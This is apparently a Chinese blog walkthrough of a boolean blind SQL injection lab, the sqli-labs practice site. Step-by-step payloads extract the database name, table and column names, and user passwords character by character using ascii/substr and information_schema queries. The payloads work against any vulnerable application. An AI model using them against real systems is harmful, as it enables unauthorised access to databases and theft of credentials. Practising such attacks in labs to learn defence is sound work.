- 查看注入
“1”说明刚好闭合,我们查看字段试试
成功报错了,但是有一个额外情况,那就是当我们查看字段3的时候它是这么一个情况,注意这里用的是1而不再是-1了,因为它压根儿就没返回任何username和password,只有个句子。
这说明我们遇到了无比令人厌烦的布尔注入
2.屏幕不提示内容,我们知道的只有一个信息,那就是,当我们构造的语句正确的时候,它必然返回you are in,所以我们在这里所有的语句的逻辑都应该归纳到本语句正不正确的问题上。
不是想方设法的知道1+1=几,而是要想方设法的时候知道2作为1+1答案的时候对不对。
接下来用语句猜测一下数据库名字的长度是多少:
语句1:1’ and (length(database()))=8–+
语句2:1’ and length(database())=8–+
我们从1猜测到8,发现等于8的时候成立了,返回了you are in
意思是这个数据库的名字长度是8,接下来我们要一个字母一个字母的判断,这就是布尔盲注之所以繁琐的原因。
- 用语句判断第一个字母
语句:1' and ascii(substr(database(),1,1))=1#
由于页面无法直接回显字母样貌,所以我们用ascii(字母)来判断这个字母的ascii数值是否等于多少,简而言之就是 判断ascii(a)=97正不正确,substr函数在这里不做过多讲述,可自行百度sql函数里substr()的用法
由于这种方法太复杂,直接用bp抓包实验,是115,然后查看115的ascii对照数值,是字母s,然后依次查找,最后得到数据库名称security
-
判断表的数量
语句:1' and (select count(*) from information_schema.tables where table_schema=database())=1
猜测到了表的数量是4 -
判断第一个表的长度
语句:1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#
BP跑或者手动猜测,这里第一个表长度是6
- 判断第一个表第一个字母的ascii数值
语句:1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=1--+
第一个字母ascii对应101,即e,然后依次对应着向后查找
为了方便这里标识出来:
1' and (select ascii(substr(table_name,x,1)) from information_schema.tables where table_schema=database() limit y,1)=1--+
在这里的x表示查询第几个字母的ascii
在这里的y表示查询的字母从第几个表开始
6,在查询到有一个表叫做users的情况下查看这个表下的列有几个
语句:1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
这里一共找到了3个列
- 查询表中第一个列的长度
语句:1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+
第一个列的长度是2,盲猜名字是id
查看第二个列长度
语句:1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)=8--+
长度是8,估计有戏
- 查看这个列的第一个字母的ascii
语句:1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name='表名' limit 1,1)=1#
报出来117,字母是u,盲猜username
具体情况是要具体分析的,这里的username应该一个字母一个字母查找出来
- 然后我们查询我们想要的列下的长度,这里以username为例
语句:?id=1' and (select length(username) from security.users limit 0,1)=4 --+
这里只有limit 0,1这个参数,0这个参数就是控制查找第列的内容的
9.根据上面这些情况,按理说仍然使用1’ and ascii(substr((select length(列名) from 表名 limit 0,1),1,1)=1 #这种转换ascii的方式应该也能获取列名和表名,但在实际应用中提示引号错误,因为暂时没有搞清楚原因,所以这里采用其他格式的语句进行注入
(错误,仅供演示)语句:?id=1’ and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23
其中的格式的是 id=1’ and ord(mid((select ifnull(cast(password as char), 0x20)from security.users order by id limit A,1),B,1))=68%23
具体文档请分析:https://blog.csdn.net/weixin_34365417/article/details/89828287
Ord函数:实例ord(‘a’)=97
Mid函数和substr函数类似,用于截取
Ifnull函数,ifnull(a,b),如果a的值为null则返回b
Cast函数,数据类型转换
A表示查询第几个用户
B表示查找该用户第几个字母
语句:?id=1'%20 and ascii(substr((select ifnull(password,0x20)from security.users limit 0,1),1,1))=68--+
按照习惯将ord换成substr,将mid换成substr,而且,字符串在mysql中储存的时候是varchar类型,这里的数据转换cast也省略了。
然后能逐个字母拼出第一个用户的Dumb密码
附录:经过后来的验证,如果把ifnull去掉也是可行的
语句:`?id=1' and ascii(substr((select password from security.users limit 0,1),1,1))=68--+`
但在查询第一个字母的时候0这个数值似乎会产生干扰